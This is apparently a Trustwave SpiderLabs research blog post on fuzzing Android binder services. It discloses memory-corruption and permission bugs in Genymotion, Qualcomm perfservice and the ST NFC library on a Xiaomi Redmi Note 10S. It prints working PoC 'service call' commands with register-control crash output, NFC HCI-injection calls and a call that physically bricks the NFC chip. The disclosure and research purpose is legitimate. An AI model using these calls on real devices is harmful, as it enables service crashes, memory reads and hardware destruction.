Hunting for Android Privilege Escalation with a 32 Line Fuzzer

Trustwave SpiderLabs tested a couple of Android OS-based mobile devices to conduct the research on privilege escalation scenarios. Specifically, we wanted to show a straightforward process attackers may use to exploit vulnerabilities in an Android device’s system services and systems.

The testing revealed that, in some cases, exploiting the issues we found were very easy. It became apparent that some vendors have problems integrating the Android OS with third-party hardware, did not conduct security checks properly, and some third-party software was provided to vendors with vulnerabilities.

 Exploiting vulnerabilities in system services is a common way to escalate privileges in modern operating systems since those services typically run at the highest system permissions. The Android operating system isn’t any different. System services are exporting calls for the Android Framework API, which is using these calls for implementing its own API. The Android System Framework implementation on each phone model differs for each manufacturer, since the services and hardware are unique for each manufacturer. Without a standardized implementation, we can expect various security issues in this OS layer. The full stack of this architecture is explained below.

Figure 1: Android architecture

https://source.android.com/docs/core/architecture#architecture

This blog post covers a simple (but surprisingly efficient) fuzzing algorithm and basic analysis of the vulnerabilities we found in three different Android-based devices.

 To create a PoC service fuzzer algorithm we’ll use a standard Android program available on all Android system compilations - /system/bin/service (https://android.googlesource.com/platform/frameworks/native/+/master/cmds/service/service.cpp). In a nutshell, this binary is available as part of the system. It uses the IServiceManager API, that’s based on the binder interface and can be used for communicating with the system services. You can create/modify your own custom /system/bin/service binary by compiling the full Android OS.

The parameters this program takes are described below:

 $ adb shell “service -h”

Usage: service [-h|-?]

       service list

       service check SERVICE

       service call SERVICE CODE [i32 N | i64 N | f N | d N | s16 STR ] ...

Options:

   i32: Write the 32-bit integer N into the send parcel.

   i64: Write the 64-bit integer N into the send parcel.

   f:   Write the 32-bit single-precision number N into the send parcel.

   d:   Write the 64-bit double-precision number N into the send parcel.

   s16: Write the UTF-16 string STR into the send parcel.

By typing the “service list” command in the ADB shell, we can list the available system services:

$ service list

Found 140 services:

• • sip: [android.net.sip.ISipService]

1 Genyd: [com.genymotion.genyd.IGenydService]

2 secure_element: [android.se.omapi.ISecureElementService]

<!—SpiderLabs Snip ->

To invoke a service call, we must define its arguments. The first argument is the service name, the second is an operation, the third is the call number, and the next N arguments are the pairs with the type of data and a value.

 $ service call Genyd 1 i32 1                                                                                    

Result: Parcel(00000000 00000000 '........')

Having this knowledge (and poor combinatorics skills), the below Python PoC script has been created:

Figure 2: Fuzzing algorithm

Bear in mind that the above Python code snippet is only used for expressing the algorithm idea, it lacks the ADB interface implementation, log handling, and process monitoring. These features are not the subject of this blog post. The final fuzzer should be an Android application enabling the specific permissions (for example android.permission.BLUETOOTH). You can try to improve the testing coverage by replacing the “itertools.combinations” with “itertools.product” function. This basic algorithm is producing the data and prints it to the standard output for the demonstration purpose.

NOTE: Please think twice before running any kind of the further described test cases as some of them can damage your hardware!

1^st Target - Genymotion Hypervisor memory corruption at SettingsModule::processParameterNotification (CVE-N/A)

Trustwave SpiderLabs raised this issue with the vendor but received no reply. However, the problem was silently patched in the versions starting from 3.2.0. No security bulletin has been released by Genymobile, and the vulnerable service has been removed from the later versions.

The issue lies in the Genyd system service. This service is responsible for the communication with the virtual machine hypervisor process (player.exe) and provides some functionalities like setting the VM ID from inside the VM. As a hypervisor, we have a modified VirtualBox under the hood.

The post execution output of our fuzzer:

$ python3.5 ./fuzzer.py Genyd

<!—SpiderLabs Snip à

service call Genyd 24 d "4294967294" f "-1" f "3.141592" 

service call Genyd 25 

service call Genyd 25 i64 "18446744073709551614" 

service call Genyd 25 i64 "18446744073709551615" 

service call Genyd 25 i64 "1" 

service call Genyd 25 i64 "0" 

service call Genyd 25 i32 "1" 

service call Genyd 25 i32 "0" 

service call Genyd 25 i32 "65535" 

service call Genyd 25 i32 "4294967294" 

service call Genyd 25 i32 "18446744073709551614" 

service call Genyd 25 s16 "3%%n%%x%%s%s%%n1" 

service call Genyd 25 s16 "AAAAAAAAAA" 

service call Genyd 25 s16 "A A A A " 

<!—SpiderLabs Snip à

The targeted Genymotion hypervisor process (player) has crashed. The below PoC confirming the CPU registers control has been reconstructed based on the fuzzer logs and crash analysis:

# adb -s 192.168.56.119:5555 shell

root@android:/ # service call Genyd 25 s16 "AAAA"

Result: Parcel(00000000   '....')

root@android:/ # service call Genyd 25 s16 "BBBBBBBBBBBB PPPPPPPPPPPPPPPPPPP"

Result: Parcel(00000000   '....')

root@android:/ #

The red-highlighted service calls have been monitored by the GDB debugger session attached to the hypervisor process (player). You also can see that the Genymotion hypervisor process (player) has crashed and the $RDX CPU register value is now controlled by an attacker.

 root@genypoc # ps -A | grep play

52954 ?       00:00:01 player

root@genypoc # gdb

GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2

 <!—SpiderLabs Snip à

 gef➤ attach 52954

Attaching to process 52954

[New LWP 52955]

 <!—SpiderLabs Snip à

 gef➤ c

Continuing.

[Thread 0x7f19fcb40700 (LWP 52958) exited]

 Thread 1 "player" received signal SIGSEGV, Segmentation fault.

0x00007f1a0e91ef63 in SettingsModule::processParameterNotification(QString const&) () from /home/user/Downloads/genymotion/libcom.so.1

 [ Legend: Modified register | Code | Heap | Stack | String ]

 ───── registers ────

$rax   : 0x000000038368f0 → 0x0000000200000001

$rbx   : 0x007ffedf1f2a60 → 0x000000038368f0 → 0x0000000200000001

$rcx   : 0x1              

$rdx   : 0x41004100410041

$rsp   : 0x007ffedf1f2a20 → 0x0000000000000007

$rbp   : 0x00000002cbb1e0 → 0x007f1a0eb51198 → 0x007f1a0e93b160 → <SettingsModule::metaObject()+0> mov rdi, QWORD PTR [rdi+0x8]

$rsi   : 0x0              

$rdi   : 0x1              

$rip   : 0x007f1a0e91ef63 → <SettingsModule::processParameterNotification(QString+0> mov eax, DWORD PTR [rdx]

$r8   : 0x0              

$r9   : 0x1              

$r10   : 0x00000003836900 → 0x00000003796e50 → 0x0000001300000002

$r11   : 0x00000003796e68 → 0x50005000500050 ("P"?)

$r12   : 0x007ffedf1f2a80 → 0x41004100410041 ("A"?)

$r13   : 0x007ffedf1f2a40 → 0x000000046efc70 → 0x0000000200000001

$r14   : 0x007ffedf1f2a50 → 0x00000003796e50 → 0x0000001300000002

$r15   : 0x007ffedf1f2a50 → 0x00000003796e50 → 0x0000001300000002

$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]

$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00

 ───── stack ────

0x007ffedf1f2a20│+0x0000: 0x0000000000000007   ← $rsp

0x007ffedf1f2a28│+0x0008: 0x007f1a0c1ba69a → <QString::compare_helper(QChar+0> mov rdi, QWORD PTR [rsp+0x18]

0x007ffedf1f2a30│+0x0010: 0x00000002cbb218 → 0x000000035a5b50 → 0x0000000500000001

0x007ffedf1f2a38│+0x0018: 0x00000002cbb220 → 0x00000003602060 → 0x0000000600000001

0x007ffedf1f2a40│+0x0020: 0x000000046efc70 → 0x0000000200000001  ← $r13

0x007ffedf1f2a48│+0x0028: 0x0000000000002b ("+"?)

0x007ffedf1f2a50│+0x0030: 0x00000003796e50 → 0x0000001300000002  ← $r14, $r15

0x007ffedf1f2a58│+0x0038: 0x007f1a0c142acd → <QArrayData::allocate(unsigned+0> mov rdx, rax

 ───── code:x86:64 ────

    0x7f1a0e91ef55 <SettingsModule::processParameterNotification(QString+0> movsxd rdx, DWORD PTR [rax+0x8]

    0x7f1a0e91ef59 <SettingsModule::processParameterNotification(QString+0> mov   rdx, QWORD PTR [rax+rdx*8+0x10]

    0x7f1a0e91ef5e <SettingsModule::processParameterNotification(QString+0> mov   QWORD PTR [rsp+0x60], rdx

→ 0x7f1a0e91ef63 <SettingsModule::processParameterNotification(QString+0> mov   eax, DWORD PTR [rdx]

    0x7f1a0e91ef65 <SettingsModule::processParameterNotification(QString+0> add   eax, 0x1

    0x7f1a0e91ef68 <SettingsModule::processParameterNotification(QString+0> cmp   eax, 0x1

    0x7f1a0e91ef6b <SettingsModule::processParameterNotification(QString+0> jbe   0x7f1a0e91ef71 <_ZN14SettingsModule28processParameterNotificationERK7QString+801>

    0x7f1a0e91ef6d <SettingsModule::processParameterNotification(QString+0> lock   add DWORD PTR [rdx], 0x1

    0x7f1a0e91ef71 <SettingsModule::processParameterNotification(QString+0> mov   rax, QWORD PTR [rsp+0x40]

───── threads ────

[#0] Id 1, Name: "player", stopped 0x7f1a0e91ef63 in SettingsModule::processParameterNotification(QString const&) (), reason: SIGSEGV

 <!—SpiderLabs Snip à

 ───── trace ────

[#0] 0x7f1a0e91ef63 → SettingsModule::processParameterNotification(QString const&)()

[#1] 0x7f1a0e908617 → RedisDispatcher::dispatch(QString const&, QString const&)()

[#2] 0x7f1a0c33b7e6 → QMetaObject::activate(QObject*, int, int, void**)()

[#3] 0x7f1a0e92f957 → RedisSubscriber::newMessageReceived(QString const&, QString const&)()

[#4] 0x7f1a0e905d6b → callback_message(redisAsyncContext*, void*, void*)()

[#5] 0x7f1a0efa12ee → redisProcessCallbacks()

[#6] 0x7f1a0c33b4b9 → QMetaObject::activate(QObject*, int, int, void**)()

[#7] 0x7f1a0c3476d8 → QSocketNotifier::activated(int, QSocketNotifier::QPrivateSignal)()

[#8] 0x7f1a0c347a3b → QSocketNotifier::event(QEvent*)()

[#9] 0x7f1a0b55e7ec → QApplicationPrivate::notify_helper(QObject*, QEvent*)()

──────────

gef➤

 Further testing established that some input data could lead to control of the pointer of a QList element, this may end with the crash on a free() with an attacker's provided argument.

This situation gives us some perspective for conducting memory corruption attacks like double-free or use-after-free. However,   a second exploit is required that would provide a leaked heap pointer for this scenario to materialize. Luckily for the developers, the service does not crash when the IPC parcels are sent from the regular APK application. That means that the exploit must be sent as the ADB shell user. Still, a limited surface for an attack exists.

2^nd Target - Qualcomm perfservice daemon Out-Of-Bound Memory Corruption (CVE-2020-3676)

Again, by typing the “service list” command, a list of available system services is shown. We can see the “vendor.perfservice” service is available for the ADB shell user:

 $ service list

Found 169 services:

0 com.qualcomm.location.izat.IzatService: [com.qti.izat.IIzatService]
<!—SpiderLabs Snip

162   vendor.perfservice: [com.qualcomm.qti.IPerfManager]

163   installd: []

<!—SpiderLabs Snip

service call vendor.perfservice 1 i32 1          

Result: Parcel(00000000 ffffffff   '........')

After we execute our fuzzer, we can see the below snippet of an output:

 $ python3.5 ./fuzzer.py
<!—SpiderLabs Snip à
service call vendor.perfservice 4 i32 "1" i32 "0"

service call vendor.perfservice 4 i32 "1" i32 "65535"

service call vendor.perfservice 4 i32 "1" i32 "4294967294"
<!—SpiderLabs Snip à

The below snippet shows the execution of the above calls:

 joan:/ $ service call vendor.perfservice 4 i32 "1" i32 "0"

Result: Parcel(00000000 ffffffff   '........')

joan:/ $ service call vendor.perfservice 4 i32 "1" i32 "65535"

Result: Parcel(00000000 ffffffff   '........')

joan:/ $ service call vendor.perfservice 4 i32 "1" i32 "4294967294"

Result: Parcel(Error: 0xffffffffffffffe0 "Broken pipe")

 During the logcat session, the following crash dump was intercepted for the /system/bin/perfservice binary:

The service is running as a system user:

 joan:/ $ ps -A | grep perf

root              64    2           0          0 0  0 S [perf]

root            538    2           0          0 0  0 S [msm_perf:events]

root         16129    1   22564   3680 0  0 S vendor.qti.hardware.perf@1.0-service

system    18612    1   21024   3348 0  0 S perfservice

 Additional tests as a regular Android application user confirmed that the bug is reachable from any application installed on the smartphone. The below command was used to confirm the control of the CPU registers, please note that the value 2442302356 is represented by the hex value 0x91929394 likewise the value -2 equals 0xfffffffe:

 joan $ service call vendor.perfservice 4 i32 2442302356 i64 -2

Result: Parcel(Error: 0xffffffffffffffe0 "Broken pipe")

The crash has been intercepted:

A short snippet of the android::PerfService::perfLockAcquire function dissassemby:

 ;-- android::PerfService::perfLockAcquire(int, int, int*)

<-- SpiderLabs Snip -->

0x00003b88     add x1, x1, 0x5b5 ; 0x55b5 ; "PerfService"

0x00003b8c     add x2, x2, 0x667 ; 0x5667 ; "couldn't get uxe_event function handle."

0x00003b90     b 0x3b48

;-- aav.0x00003b94:

     0x00003b94     stp x24, x23, [sp, -0x40]! ; < ==== CRASH

     0x00003b98     stp x22, x21, [sp, 0x10]
<-- SpiderLabs Snip -->

 According to the ARM64 documentation, the STP instruction stores the values of registers x24, and x23 at the address provided by the third argument ([sp, -0x40]). An attacker can control the value to write, and the destination address ([sp, -0x40]) can be manipulated as well. The pseudo-code generated by the popular reverse engineering toolkit, Ghidra, helps with understanding the logic of this issue.

Figure 3: android::PerfService::perfLockAcquire pseudocode

The switch condition for case number #4 (line 62) is responsible for handling the call number 4 of the service. The third value that is being read from the user by an android::Parcel::readInt32 function returns the value “-2” and is used to calculate an offset for the stack variable. The vulnerability allows an attacker to overwrite a selected memory address towards the lower stack addresses, which, for the ARM architecture means overwriting a free and uninitialized memory, however, without limits for the boundary.

3^rd Target - Xiaomi Redmi Note 10S - Multiple nfc.st_ext Service Vulnerabilities (CVE-2023-36629)

This time, the fuzzer found a couple of crashes during the nfc.st_ext service testing, the service runs on the Xiaomi Redmi Note 10S (MIUI 13.0.5 Stable). Further analysis confirmed possible exploitability of some findings. The issue was submitted to Xiaomi using one of the bug bounty platforms.

Besides the memory corruption vulnerabilities, I included in the issue submission a potential privilege escalation vulnerability, because any regular APK was able to execute evidently sensitive NFC service calls. After two months of pickling this issue, Xiaomi declined their responsibility and recommended submitting the issue to the STMicroelectronics, which I did.

Figure 4: Xiaomi response

STM analysed the issue quickly and patched the memory corruption issues. A couple of excessive, but potentially exploitable, API calls have been removed from their library. Interestingly, STM also declined any responsibility:

[…] Thank you for this report […]

Please note that the issues you’ve identified don’t affect an ST product. Instead, they impact an open-source library, provided under APACHE 2.0 licensing, we’ve used as an example of implementation for our customers (“Library”). You could find below the results of our analysis.[…]

And told us that the privilege-escalation issue did not exist in their builds:

[…]

Analysis: 

• • The nfc.st_ext service interface has “nfc_service” SELinux label, so applications capable to bind to NFC can bind to these extensions as well, this is not restrictive.
  • However, the services calls in this interface, that lead to sensitive operations such as programHceParameters, are checking that the caller process has the android.Manifest.permission.WRITE_SECURE_SETTINGS permission. 
  • Calling the service from adb, as shown in the report, bypasses this check. […]

Analysis: 

• Setting random parameters with setProprietaryConfigSettings may have caused an irreversible problem in this test sequence.
• However, setProprietaryConfigSettings system call requires android.Manifest.permission.WRITE_SECURE_SETTINGS.
• Calling the service from adb, as shown in the report, bypasses this check.

Corrective actions: 

No corrective action since only applications delivered by the OEM can set NFC controller parameters and so a third-party malicious APK would not be able to cause such damage to the NFC controller. [..]

At this step, we were able to prove that we could execute service calls as an APK on a Xiaomi Redmi 10S Note. However, since STM provides their code as open-source under APACHE 2.0 Licensing, they admit that how a vendor implements the library is up to them and certain implementations may have disabled the necessary permission check. STM reached out to Xiaomi to inform them of the issue.

Hello,

As the end product is developed and owned by its manufacture, Xiaomi Redmi, our analysis was not performed on Xiaomi Redmi 10S Note. We did perform an analysis on our internal reference device with latest version of our stack.

This appears to be the reason your demonstration on privilege escalation highlights a gap between the open-source reference code we used, which contains a permission check preventing these issues, and the open-source code used on the model you tested from Xiaomi Redmi.

As mentioned, the NFC service and its libraries are provided under APACHE 2.0 licensing so they can be modified by our customers. Based on your feedback, we have informed Xiaomi so it can address the issue on the models concerned.

For the issues affecting getProprietaryConfigSettings and nativeNfcStExtensions_getAvailableHciHostList, whether to post a Public Advisory on ST PSIRT website is still under discussion but we are taking the steps we have already identified in our earlier message. 

Thank you again for your report and cooperation.

The described issues could allow an attacker to interfere with the NFC communication of the other applications installed on the user’s device, set the NFC NCI configuration, and execute the raw HCI (Host-Controller-Interface) commands on the selected NFC pipe/card emulator. Some of the service calls incorrectly handle an input, leading to memory corruptions that might be used to inject the code into the context of the NFC system service. The case of a persistent hardware fault has been observed, when invoking a specific service call.

 The vulnerable system service com.android.nfc is located under the path: /system/system_ext/app/Nfc_st/Nfc_st.apk on the investigated Xiaomi Redmi Note 10s phone with firmware “Android 12SP1A.210812.016, MIUI 13.0.5 Stable”.

 The tested device is exporting the nfc.st_ext service:

 rosemary:/ $ service list | grep nfc

142  mi_nfc: [com.xiaomi.nfc.IMiNfcAdapter]

176  nfc: [android.nfc.INfcAdapter]

177  nfc.st_ext: [com.st.android.nfc_extensions.INfcAdapterStExtensions]

178  nfc_settings: [com.mediatek.nfcsettingsadapter.INfcSettingsAdapter]

It’s been established that any application can exchange IPC calls with this service without the need to request any privileges, including the android.permission.WRITE_SECURE_SETTINGS and android.permission.NFC.

The below screenshot shows a snippet of the native functions identified in the com.android.nfc.dhimpl.NativeNfcStExtensions class implemented in the Nfc_st.apk. These native C/C++ functions are imported from the /system/system_ext/lib64/libstnfc_nci_jni.so library.

Figure 5: Nfc_St.apk decompiled view

Many of the above functions were available through the exported service calls without any privilege check. Especially, two functions specifically caught our eye – transceive and transceiveEE. The further content presents a PoC demo for the simple privilege escalation scenarios.

The following commands have been executed:

rosemary:/ $ service call nfc.st_ext 17 i32 6 i32 1 # connectGate

Result: Parcel(00000000 000000ff   '........')

rosemary:/ $ service call nfc.st_ext 18 i32 6 i32 2 s16 AA # transceive

Result: Parcel(00000000 00000000   '........')

rosemary:/ $ service call nfc.st_ext 19 i32 6 i32 1 # disconnectGate

This resulted in the following output in the logcat logs:

Although the above commands don’t execute any specific NFC action, the logcat logs show that the ADB shell user can send the HCI commands to the chosen pipe.

Further testing proved that any application on our Xiaomi smartphone can execute these service calls, and, therefore, interact with the other application’s emulated card/secure element. Both the kernel and the NFC service layer have access to sensitive information transmitted over NFC, while the user-mode apps are isolated from this sensitive information, enforcing the Android Framework API.

This bug would allow an attacker to bypass the framework layer and send the HCI packets directly to the device. Technical specification document ETSI TS 102 622 V13.0.0 describes the HCI NFC architecture and its features. These three calls mentioned above were removed from the android-packages-apps-NFC GitHub repository after our submission.

It’s also been proven that the incorrect execution of the com.android.nfc.NfcService.programHceParameters function can disconnect other applications from the NFC resulting in service disruption. Correct execution should allow an attacker to set HCE parameters.

rosemary:/ $ service call nfc.st_ext 34                                                                                                                                    

Result: Parcel(00000000   '....')

The above command execution as an application A resulted in the tag disconnection during the communication for application B.

Several service calls were vulnerable to memory corruption issues. These service calls can be executed by any application installed on a victim’s device as there is no privilege check on the Xiaomi Redmi 10S Note device. Therefore, the issue might be used to execute a code in the nfc.st_ext service context or in order to read the NFC service memory.

Before communicating with the STMicroelectronics, I was sure that I was reversing the proprietary code. Therefore, the initial analysis was based only on reverse-engineering and pseudocode.

The below command has been executed as an ADB shell user. The values 4702394925722257289 and 4774451407313060418 represent the hex values: 0x4142434545464789 and 0x4242424242424242.

rosemary:/ $ service call nfc.st_ext 9 i64 4702394925722257289 i64 4774451407313060418

Result: Parcel(Error: 0xffffffffffffffe0 "Broken pipe")

Results from the ADB Logcat output after the command execution. The registers x19 and x20 are controlled by the attacker. The x8 register value proves the crash location shown in the next listing. The crash has occurred on a memory address 0x7c329d9f64 (x8 + 0x8a7):

In a part of the NfcStExtensions::getProprietaryConfigSettings function disassembly below, we see that the value of the x8 register equals 0x7bf15b5378 + 0x41424345 (0x7c329d96bd) which proves the ability to manipulate a destination address by a malicious application: 

Later, I found that C++ code, in the deepest depths of GitHub. The screenshot below shows a fragment of the open-source package called “android-packages-apps-Nfc”.

The two int values are taken as arguments at line 2229. At line 2257 the value byteNb is used as an index for the stack array mPropConfig.config. The second value bitNb is used to define which bit of the chosen array element an attacker wants to read. This is the perfect stack reading primitive.

Figure 6: NfcStExtensions::getProprietaryConfigSettings vulnerability

https://github.com/STMicroelectronics/ST54-android-packages-apps-Nfc/blob/android-13/st/jni/NfcStExtensions.cpp

In our real-life experience with the Xiaomi Redmi Note 10S, the second (write) primitive that could give us a code execution is unfortunately located inside a function that can physically and irreversibly damage the NFC chip. I experienced a hardware fault when executing the function NfcStExtensions::setProprietaryConfigSettings. The first time was during testing and the second time occurred when writing a PoC exploit. After two devices were damaged, I decided to write a read only APK PoC.

After executing the NfcStExtensions::setProprietaryConfigSettings call, the NFC interface GUI became unavailable, and I couldn’t turn it off and use the NFC. The software-to-hardware killer call was later confirmed by STMicroelectronics, which is a pretty devastating scenario.

The function NfcStExtensions::setProprietaryConfigSettings is also prone to an array out of bound attack, rather than reading, it allows writing a bit into the chosen index of an array.

Figure 7: NfcStExtensions::setProprietaryConfigSettings vulnerability

https://github.com/STMicroelectronics/ST54-android-packages-apps-Nfc/blob/android-13/st/jni/NfcStExtensions.cpp

I reported seven memory-corruption issues in total in the “ST54-android-packages-apps-Nfc” library, all of them are briefly documented in the advisory TWSL2023-007.

Conclusions

From my testing, it would appear the system service layer was not properly tested and secured in the Android OS versions modified by vendors, and while I have detailed several issues here, there is still more research that needs to be conducted.

Some two or three-year-old devices will never get new updates due to the complexity of the software and hardware installed on the smartphones and the policies of manufacturers.

Smartphones are generally constructed using components supplied by a variety of vendors and connected using a custom OEM Framework API. This methodology creates problems when it comes to implementing and maintaining updates, backward compatibility, and security.

The price of each tested device has no significant meaning here, although, the approach for handling the submitted vulnerabilities by each vendor was quite different. Especially noticeable are problems some manufacturers have with integrating their Android OS with the third-party hardware vendors.

On the other hand, the third-party vendors shouldn’t provide unvetted demo/PoC software that may have vulnerabilities to their clients. Another concerning point is that one vendor did not properly implement a sandbox for the sensitive OS component.

Finally, if I asked myself - how safe are my Secure Elements or Virtual Wallets on my smartphone? I’d say it generally depends on the device, but after testing my own, I’d say they’re not safe at all.

Reference:

TWSL2023-007: Vulnerabilities in Xiaomi Redmi Note 10S and ST54-android-packages-apps-NFC library